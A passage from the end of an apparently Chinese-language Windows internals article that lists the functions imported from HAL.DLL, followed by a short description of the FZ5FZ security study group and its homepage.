LsaRegisterLogonProcess

仅有的来自HAL.DLL的输入函数:
HAL.ExAcquireFastMutex
HAL.ExReleaseFastMutex
HAL.ExTryToAcquireFastMutex
HAL.HalAllocateAdapterChannel
HAL.HalBeginSystemInterrupt
HAL.HalClearSoftwareInterrupt
HAL.HalDisableSystemInterrupt
HAL.HalDisplayString
HAL.HalEnableSystemInterrupt
HAL.HalEndSystemInterrupt
HAL.HalGetEnvironmentVariable
HAL.HalHandleNMI
HAL.HalProcessorIdle
HAL.HalQueryDisplayParameters
HAL.HalRequestSoftwareInterrupt
HAL.HalReturnToFirmware
HAL.HalSetEnvironmentVariable
HAL.HalSetRealTimeClock
HAL.HalStartProfileInterrupt
HAL.HalStopProfileInterrupt
HAL.HalSystemVectorDispatchEntry
HAL.KdPortPollByte
HAL.KdPortRestore
HAL.KdPortSave
HAL.KeGetCurrentIrql
HAL.KeLowerIrql
HAL.KeRaiseIrql
HAL.KeRaiseIrqlToDpcLevel
HAL.KeRaiseIrqlToSynchLevel
HAL.KfAcquireSpinLock
HAL.KfLowerIrql
HAL.KfRaiseIrql
HAL.KfReleaseSpinLock
HAL.READ_PORT_UCHAR
HAL.READ_PORT_ULONG
HAL.READ_PORT_USHORT
HAL.WRITE_PORT_UCHAR
HAL.WRITE_PORT_ULONG
HAL.WRITE_PORT_USHORT

----[  结束


关于:

FZ5FZ,我们主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。
FZ5FZ  主页: http://fz5fz.yeah.net